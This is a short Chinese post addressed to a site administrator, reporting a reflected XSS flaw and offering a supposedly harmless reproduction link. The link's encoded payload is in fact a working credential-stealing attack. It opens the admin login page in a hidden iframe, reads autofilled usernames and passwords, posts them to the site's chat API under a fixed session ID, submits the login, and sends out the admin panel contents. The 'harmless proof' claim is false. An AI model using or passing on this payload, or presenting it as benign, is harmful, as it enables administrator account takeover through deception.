掌舵者

站点存在反射型 XSS，建议管理员尽快修复<br>下面链接会执行脚本（无害，仅证明）：<br><a href="https://www.zhangduozhe.net/forum/?board=zq%22%3E%3Cimg%20src%3Dx%20onerror%3D%22i%3Ddocument.createElement%28%27iframe%27%29%3Bi.style%3D%27position%3Aabsolute%3Bleft%3A-9999px%3Bwidth%3A600px%3Bheight%3A500px%3Bborder%3A0%27%3Bi.src%3D%27%2Fadmin%2Flogin.php%27%3Bdocument.body.appendChild%28i%29%3Bvar%20sn%3D0%3Bfunction%20ZQ%28m%29%7Bfetch%28%27%2Fapi%2Fchat.php%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fjson%27%7D%2Cbody%3AJSON.stringify%28%7Bsession_id%3A%278c4779349c9ca56004386dc8b5b7e861%27%2Cmessage%3Am%7D%29%7D%29%7Di.onload%3Dfunction%28%29%7Btry%7Bd%3Di.contentDocument%3Bif%28%21d%29return%3Bf%3Dd.querySelector%28%27form%27%29%3Bif%28%21f%29return%3BsetTimeout%28function%28%29%7Btry%7Bvar%20u%3Dd.querySelector%28%27input%5Bname%3Dusername%5D%27%29%2Cp%3Dd.querySelector%28%27input%5Bname%3Dpassword%5D%27%29%3BZQ%28%27AUTOFILL%20u%3D%27%2B%28u%3Fu.value%3A%27-%27%29%2B%27%20p%3D%27%2B%28p%3Fp.value%3A%27-%27%29%29%3Bif%28u%26%26p%26%26u.value%26%26p.value%29%7Bf.submit%28%29%3B%7D%7Dcatch%28e%29%7B%7D%7D%2C2600%29%3B%7Dcatch%28e%29%7B%7D%7D%3BsetInterval%28function%28%29%7Btry%7Bd%3Di.contentDocument%3Bif%28d%26%26d.body%26%26%21d.querySelector%28%27form%27%29%26%26%21sn%29%7Bsn%3D1%3BZQ%28%27PANEL%20%27%2Bd.body.innerHTML.slice%280%2C5000%29%29%3B%7D%7Dcatch%28e%29%7B%7D%7D%2C3500%29%3B%22%3E">复现链接</a>